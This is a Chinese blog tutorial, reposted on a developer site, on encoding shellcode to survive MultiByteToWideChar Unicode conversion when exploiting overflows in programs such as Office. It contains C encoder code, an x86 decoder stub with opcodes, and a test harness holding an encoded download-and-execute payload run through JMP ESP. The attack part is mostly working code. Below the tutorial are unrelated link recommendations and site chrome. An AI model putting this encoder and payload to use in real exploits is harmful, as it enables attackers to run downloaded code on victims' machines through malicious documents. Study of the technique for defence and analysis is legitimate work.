编写Unicode有效的Shellcode

利用C#编写shellcode与unicode相互转换的转换器 最近在做一个项目,开始我们都是把自己的代码转换换成shellcode的形式,结果前几天突然需要把自己的代码转换成unicode,如果要手工转换还不累死人啦,于是没办法,自己动手写了个小工具,实现这两种代码间的相互转换,听着挺高级的,其实就是把shellcode相邻两个字节互相倒置,就变成了unicode,不过重要的不是复杂与简单,而是写这个工具的思考过程。就单纯写这么个简单的小工具,想了很多思路让 阅读详情
对于溢出爱好者来说,能够编写Shellcode是一个必备的基本技能,特别是能应对各种在实际情况中对Shellcode存在各种限制条件的时候,这种 能力就显得尤为重要了。黑防2007年第二期中介绍了纯字母数字的Shellcode的编写,在3期中的WinRAR 7z溢出中就派上了用场。Unicode大家应该不陌生,在一些大型程序中,比如Word、Excel考虑到不同语言平台的差异性,都会使用 Unicode,在利用这些漏洞的时候,我们以往的Shellcode就难以适用了。一个普通的Down&Exec的Shellcode经过 MultiByteToWideChar函数转换成Unicode后,如图1


1.jpg



Shellcode编写的思路
可能有的读者认为只要先将Shellcode写好,然后用WideCharToMultiByte函数转换成ASCII码就可以了,再经过程序转换成 Unicode就可以了,但事实不是这样的,在转换成Unicode的时候,转换函数会根据当前使用的代码页进行转换,比如大写字母'A'(/x41)被 转换成/x41/x00,但是第一个字节>0x80或者第二个字节不是/x00的时候,情况就不是这么简单了, MultiByteToWideChar会查找代码页中的对应结果,假如找不到就会有/x3F(?)代替,表示有错误。所以大家看到为什么图1中转换后的 Shellcode会出现问号。这儿我们还是采取分段编码,如下:
    |                  |
    |    解码头部      |
    -----------------------------
    |    拆分编码的    |
      |    原ShellCode    |
为了保护原始的Shellcode,我们将原始的Shellcode每个字节都拆分成两个字节,高4位和低4位均加上0x61(a),由于4位只能表示0 -15,所以每个字节都可以拆成a-p的两个字节,这样就顺利的躲过了编码转换的问题,剩下的就是构造尽量小的解码头,使之转换不出现0x3F。当然,最 理想的情况就是解码头在ASCII码的情况下是纯字符,这儿我介绍的解码头不是纯字符,在MultiByteToWideChar中使用不同的代码页转换 出的结果都是不一样的,也就是Shellcode可能无法实现跨语言平台,上述的纯字符解码头则可以跨语言平台实现通用。

编写实例
有了思路后就剩下编码的问题了,分成4部分分别加以阐述
1)对原Shellcode进行拆分编码,编码的思路已经说过,下面是编码部分的代码:

CODE:

//shellcode1指向待编码的Shellcode、pShellcode 是指向其的指针
//详见encode.cpp
  BYTE* pShellcode = shellcode1;
  char high,low;
  for( int i = 0 ; i < sizeof(shellcode1) - 1 ; i++,pShellcode++)
  {
    high = low = *pShellcode ;
    //对高4位进行编码
    high >>= 4;  //将高4位移至低4位
    high &= 0xF; //清零移位后的高4位
    high += 0x61;

    //对低4位进行编码
    low &= 0xF; //清零高4位
    low += 0x61 ;
    printf("%c%c",high,low); //输出编码后的结果
  }
  printf("%d",(sizeof(shellcode1) - 1)*2);
编码前和编码后的Shellcode分别如图2和3所示:


2.jpg




3.jpg



例如编码前第一个字节/xE9高4位和低4位分别是/xE和/x9,加上0x61后就是0x6F(o)和0x6A(j)。

2)解码头的编写,必须保证转换成ASCII后没有出现0x3F,汇编代码如下所示:

CODE:

__asm{
    ADD CX,0x330    // 66 81 C1 30 03
    ADD ESI,30      //83C6 30        
    MOV ESI,ESP      //8BF4
    PUSH ESI      //56
    MOV EDI,ESI      //8B FE
    NOP          //90
decode:
    LODS BYTE PTR DS:[ESI] //AC
    SUB AX,0x61        //66 2D 61 00
    SHL AX,4      //66 C1 E0 04
    NOP          //90
    MOV DX,AX      //66 8B D0
    NOP          //90
    INC ESI        //46
    NOP          //90
    LODS BYTE PTR DS:[ESI]//AC
    NOP          //90
    SUB AL,0x61      //2C 61
    PUSH ECX      //51
    ADD AL,DL      //02 C2
    POP ECX        //59
    STOS BYTE PTR ES:[EDI]//AA
    NOP          //90
    INC ESI        //46
    NOP          //90
    DEC ECX        //49
    JNZ decode      //75 E0
    NOP          //90
    RETN        //C3
    NOP          //90
  }
有几点需要注意,保持解码头为偶数个字节,因为Unicode是双字节码,碰到有0x3F的情况,在不影响指令的前提下进行等价变换。如上解码头被转换成ASCII的情况下为:
"/xC4/x58/xA5/xC1/xD6/x5F/xC8/x43/xA5/xC6/xD7/x50/xDB/xB1/x95/xBB"
"/x90/xE6/xEA/xC0/xAC/xA6/xE5/xCC/xBE/xAF/xDB/xA6/xDF/x58/xDA/xF9"
"/x90/xE5/xA8/xBB/x8A/x91/xD0/xB0/xDF/x58/xAE/x74/xBF/xA4/xE0/x41"

3)测试代码
测试代码如下,模拟了溢出发生时的情况:

CODE:

unsigned char encoded[] =
"/xC4/x58/xA5/xC1/xD6/x5F/xC8/x43/xA5/xC6/xD7/x50/xDB/xB1/x95/xBB"
"/x90/xE6/xEA/xC0/xAC/xA6/xE5/xCC/xBE/xAF/xDB/xA6/xDF/x58/xDA/xF9"
"/x90/xE5/xA8/xBB/x8A/x91/xD0/xB0/xDF/x58/xAE/x74/xBF/xA4/xE0/x41"
"ojngaaaaaafkgekbdaaaaaaaileaamilhabmknileaaiilniilhddmilhebohiadpdilhocaadplileo"
"beddonfgfhfbildpadplilpcgkaofjpdkgheaifjfpidmhaeefocojfjfpfoilmnilegceadmdnbobad"
"mbddmjggilaiilegbmadmdmbobacadmbilaaadmdilpkilphidmgaoilnagkaefjoifbaaaaaaidmgan"
"fcfgppfhpmfkilnigkabfjoidoaaaaaaidmgbdfgegiadoiahfpkiadgiafoidomcailnmgkcafdppfh"
"ommhaeadfmgbcogfmheeadaehigfaaaaddmafafafdfgfappfhpmilnmgkabfdppfhpafappfhpeddma"
"kmifmahfpjfbfcfgfdppncfkfjklocooddmamdoicfppppppehgfhefahcgpgdebgegehcgfhdhdaaeh"
"gfhefdhjhdhegfgneegjhcgfgdhegphchjebaafhgjgoefhigfgdaaefhigjhefegihcgfgbgeaaemgp"
"gbgeemgjgchcgbhchjebaahfhcgmgngpgoaafffcemeegphhgogmgpgbgefegpeggjgmgfebaagihehe"
"hadkcpcpdbdcdhcodacodacodbcpghhjhkhjcogfhigfia";

void main()
{
  WCHAR encshellcode[1024];
  memset(encshellcode,0,2048);

  //将Shellcode转换成Unicode形式
  MultiByteToWideChar(CP_ACP,0,(LPCSTR)encoded,sizeof(encoded)-1,encshellcode,1024);

  //模拟溢出发生时JMP ESP后ESP指向Shellcode的情况
  __asm LEA ESP,encshellcode
  __asm XOR ECX,ECX
  __asm JMP ESP
}
在经过MultiByteToWideChar编码转换下,Shellcode仍然成功执行了,如图4:


4.jpg



小结
Shellcode也是一门学问,平时要注意这方面的学习,以免发生“Shellcode到用时方很少”的尴尬局面,特别是在Office系列文件的溢出中,经常会出现编码转换的问题,希望能给广大黑友带来一点帮助,本人也是菜鸟,如有错误纰漏,欢迎指正。 
shellcode编写探究 shellcode是不依赖环境,放到任何地方都可以执行的机器码。shellcode的应用场景很多,本文不研究shellcode的具体应用,而只是研究编写一个shellcode需要掌握哪些知识。 阅读详情

相关推荐

用ASM编写一个简单的Windows Shellcode思路总结

shellcode 是什么? “代码也好数据也好只要是与位置无关的二进制就都是shellcode。” 为了写出位置无关的代码,需要注意以下几点: 不能对字符串使用直接偏移,必须将字符串存储在堆栈中 dll中的函数寻址,由于 ASLR 不会每次都在同一个地址中加载,可以通过 PEB.PEB_LDR_DATA 找到加载模块调用其导出的函数,或加载新 dll。 避免空字节 NULL 字节的值为 0x00,在 C/C++ 代码中,NULL 字节被视为字符串的终止符。因此,shellcode 中这些字节的存.

HBohan的博客 571

hbase shell 中文unicode编码

在通过hbase shell查看中文值时,是utf-8编码格式,使得直接查看中文值不太方便。如果要查看需要把utf-8编码进行decode,下面是我比较常用的两种方式: python decode方式 前提:需要hbase 客户端上安装python echo “get ‘test’,’testKey’” | hbase shell | grep “cf” | awk -F ‘=’ ‘{prin

zychun1991的博客 7726

Shellcode手工编写与自动化工具对比:从汇编原理到实战应用

Shellcode作为一段不依赖外部库、可直接在内存中执行的机器码,是安全研究、渗透测试和漏洞利用中的核心概念。其原理在于通过精心构造的指令序列,直接调用操作系统内核功能,实现进程控制、权限提升等目标。这种技术价值在于能够绕过传统安全防护机制,在受限环境中执行任意代码。在应用场景上,Shellcode广泛用于渗透测试、红蓝对抗、漏洞利用开发和恶意软件分析。无论是追求极致精简和可控性的手工编写,还是注重功能集成和工程化的自动化工具生成,都需要深入理解系统调用、内存布局和指令集架构。本文聚焦于Shellcode

584

拾遗(一)——Unicode、UTF-8、Shell、Bash

理解和区分Unicode和UTF-8、Shell和Bash的概念。1、Unicode和UTF-8http://www.freebuf.com/articles/others-articles/25623.htmlUnicode:字符集,字符和数字的一一映射UTF-8:编码方式2、Shell和BashShell:壳(相对于kernel),用户与计算机交互的接口。Bash:Shell 的一种,类似还有...

qq_37318438的博客 1058

shellcode转unicode工具

这是一款超级便宜的shellcode转unicode工具,非常好用!

汉字与unicode编码的相互转换

setlocale(LC_ALL,"zh_CN.UTF-8");//设置本地编码格式 n=mbstowcs(wt,input,x);//将汉字转换成宽字符类型 sprintf(output+4*i,"X",wt[i]);//将宽字符型转换成十六进制 sscanf(ch+4*x,"X",wch+x);//将十六进制转换成宽整形 n=wcstombs(utf,wch,unicode_len);//将宽整形转换成汉字,让utf指针指向他

shell 下curl 的结果里中文为Unicode转化为中文显示

shell 下curl 的结果里中文为Unicode转化为中文显示

qq_29520895的博客 1877

shellcode与unicode互相转换器

这是个人自己写的一个shellcode与unicode两种代码之间互相转换的一个工具。

纯javascript unicode shellcode

在这之前先构造eax指向下面的位置.... str+=unescape("%u0050%u0004") //push eax add al,7c str+=unescape("%u007c%u0004") //add al,74 str+=unescape("%u0074%u0050") //push eax pop ebx str+=unescape("%u005b%u0058")

爱杀之爪的矩阵 1338

shellcode转换工具

shellcode转换工具

LVGL 离线字体转换lv_font_conv本地安装

LVGL FONT CONV 离线版本

liu132641的专栏 3386

shellcode编写

文章目录注意事项基础知识开始编写第一步 初始化第二步 实现其他函数动态调用第三部 实现GetProcAddress和LoadLibraryA的动态调用获取kernel32.dll基址动态调用GetProcAddress实战CreateFileAMessageBoxA导出shellcode第一种shellcode编写实例1第一种shellcode编写实例2(优化结构)shellcode加载器 注意事项 不使用全局变量 不使用类似于"abc"这样的字符串,通过数组定义字符串,char name[] = {0x

qq_44657899的博客 3413

01. VBA从入门到精通——录制宏、窗口、快捷键

excel表功能区右击→常用→选择显示开发工具选项→确定Visual Basic:打开VBA窗口宏:查看要录制的宏录制宏:准备录制宏使用相对引用:录制宏的时候对单元格的引用做一个设置宏安全性:对宏的使用做安全设置,一般设置为禁用所有宏,并发出通知,此时打开带有宏代码的工作薄时会出现警告标记,如果宏可信就选择启动。

weixin_43812198的博客 1696

编写word木马的shellcode

编写Word木马的ShellCode作者:Azrael  来源:网鹰工作室  日期:2008-01-08 15:24:00曹军分析了导致去年“万珍”病毒的Word 2000溢出漏洞细节,但并没涉及漏洞的具体利用;第4期文章中,黑防讨论了生成WMF木马的ShellCode的设计与实现。由于自身的特点,Word木马的设计与前者有较大的区别,下面由我对此进行一下分析。预备知识讨论ShellCode之前,

大浪淘沙的专栏 2289

Windows 11 24H2 外接显卡坞兼容性实测:3步解决USB设备失效

本文详细解析了Windows 11 24H2系统下外接显卡坞导致USB设备失效的问题,并提供了三步终极解决方案:驱动预解压与手动更新、电源管理设置调整、优化的设备连接顺序。通过雷电3接口的兼容性优化,帮助用户解决键盘鼠标卡死等常见问题,提升外接显卡坞的稳定性与性能。

weixin_31714129的博客 593

触摸屏蓝牙控制

使用杰理芯片通过蓝牙实现触摸屏功能,需要结合触摸屏数据采集、蓝牙数据传输以及移动端应用的实现。

m0_46145044的博客 1109

shellcode转换

#import js_shellcode=('%ud231%u30b2%u8b64%u8b12%u0c52%u528b%u8b1c%u0842%u728b%u8b20%u8012%u0c7e%u7533%u89f2%u03c7%u3c78%u578b%u0178%u8bc2%u207a%uc701%ued31%u348b%u01af%u45c6%u3e81%u6957%u456e%uf275%u

小强的博客 7796

最新2026年《网络数据安全风险评估办法》条款解读

大型企业集团IT变革下的零信任安全体系建设方案(55页).pptx。以数据安全为核心的安全立体防御体系解决方案(41页).pptx。让数据安全合规地创造价值(15页 PPT).pptx。大型集团数据安全应急预案(57页).docx。数据安全治理与评估服务业务介绍.pptx。数据安全管理实践(17页).pptx。大数据安全架构设计方案.pptx。大数据安全规划总体方案.pptx。数据库安全综合治理方案.pptx。医疗数据安全建设方案.pptx。数据安全框架规划图.pptx。数据安全治理方案.pptx。

cdfunlove的博客 47

ShellCode编写和远程代码注入

文章目录1.ShellCode是什么2.ShellCode的编写原则3.TEB与PEB1)TEB线程信息获取当前线程的TEB2)PEB进程环境块获取当前进程的TEBPEB_LDR_DATALDR_DATA_TABLE_ENTRY在任意进程中找到一个LDR_DATA_TABLE_ENTRY1.一些结构体的定义2.寻找方法4.ShellCode的实现思路5.远程注入代码6.关于我在vs2017编写时遇到的问题解决方法 1.ShellCode是什么 一段特殊的代码,不依赖与任何进程环境。简单来讲就是一段可以在Wi

&Ψ的博客 1838

大模型选型实战:为OpenClaw匹配最优“大脑”的全维度考量

大模型不是越贵越好,也不是参数越高越好,适合自己的使用场景才是最好的。按照我的方法,先明确自己的需求,再选对应的模型,配置多模型自动路由,既能保证体验,又能最大限度降低成本。我自己用这套配置用了半年多,不管是写文章、写代码还是处理复杂问题,都完全够用,成本也很低,大家可以参考一下。如果不知道选什么模型,可以在评论区说一下你的使用场景。

专注于Python爬虫开发,分享爬虫技巧、项目实战与反爬经验,使用Scrapy、BeautifulSoup等工具,解决数据抓取难题。 343

公交车调度排班优化算法研究与实现

本文提出的公交车调度排班优化算法基于遗传算法,能够较好地处理公交车调度排班问题,使得车辆数量和运营时间得到平衡,公交车的使用效率得到了优化。在模拟的公交车路线中,使用本文所提出的算法,得到了一组较优的公交车调度排班方案。其中,车辆数量的多少会影响到公交车的行驶速度和等候时间,而运营时间的长短则会直接影响到公交车的使用效率和成本。本文基于遗传算法,通过随机生成种群、选择、交叉、变异等操作,逐步优化种群中个体的适应度,最终得到较优的公交车调度排班方案。以下是本文中所使用的Matlab代码实现,供参考。

PixelLoom的博客 872

unicode exp学习

UNICODE  会自动插入NULL字符   1)覆盖ret控制 寻找 形似   0x00nn00mm 的  jmp xxx 的地址  可以jmo 到shellcode执行 2)基于SEH 控制EIP+SHORT JMP 寻找 pop pop ret 不包含>7f 的入口地址 用来覆盖SEH header 先将 nseh 置为 \xcc\xcc  再来寻找   两字节的  sho

zcc1414的专栏 1914

数仓建模—数据治理框架选型

全名主要亮点覆盖面最广:从数据治理、架构、质量、安全到元数据、主数据、数据仓库等等,几乎所有数据管理主题都能在DMBOK里找到相应章节。概念权威统一:帮助组织建立通用术语和知识基础,减少“部门之间说法不一致”的沟通成本。适用场景:如果你所在公司(或团队)正准备系统梳理数据管理的方方面面,DMBOK是一份非常全面的指导手册,尤其适合培养新人或为整个组织统一认知。需要注意:DMBOK偏“知识指引”,不直接提供成熟度模型或实施路线图。想要落地,还需要结合其他评估模型或项目管理方法。小案例举例:某。

2401_84052244的博客 4743

7.ShellCode相关实现

0x7 ShellCode实现 一、什么是shellcode? 不依赖环境,放到任何地方都可以执行的机器码(硬编码)。 二、编写

Mikasys的博客 501

jdk-8u144-linux-x64.tar.gz.

该资源为搭建Linux系统Java环境用,资源的后缀为tar.gz格式的压缩包

IDEA的使用指南

IDEA基于java的使用手册,可以最快速的上手,在使用中不断的丰富自己的使用技巧.

Worawit Wang大神永恒之蓝内核态shellcode学习

本文是永恒之蓝系列的第二篇,主要分析Worawit Wang大神写的内核部分的shellcode

好好学习,天天向上 1034

C# WinForm 基于DirectShow.dll编写的程序,可边预览边保存视频,音频和图片

基于微软的DirectShow.dll的二次开发1.自动识别连接的摄像头跟麦克风且可以对其进行选择(默认选中第一个)2.可录制wmv和avi两种格式的视频并且都带有音频,avi可以录制的分辨率和帧数进行选择,wmv默认进行了淸晰度优化如不喜欢可去除代码中有相关提示3.可在预览点开之后进行拍照,也可边录制视频边拍照4.添加了视频和音频的压缩功能(酌情使用)这次二次开发发现C#对DirectShow的相关信息太少,这次做完也不敢藏私共享出来,还望大家指正

[转](38)注入ShellCode

编写这篇博客的目的: 中级上项目 MessageBox 监视器需要编写 shellcode,三期没有讲,于是补充学习了这部分知识。 一、ShellCode的定义和应用场景 Shellcode是不依赖环境,放到任何地方都可以执行的机器码。 shellcode的应用场景很多,本文不研究shellcode的具体应用,而只是研究编写一个shellcode需要掌握哪些知识。 二、ShellCode编写原则 1、不能有全局变量 因为我们编写shellcode时,使用的全局变...

weixin_41875267的博客 1384
上一篇: 使用SoftIce调试free build版的Driver方法
下一篇: IMail iaspam.dll 8.0x Remote Heap Overflow Exploit
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值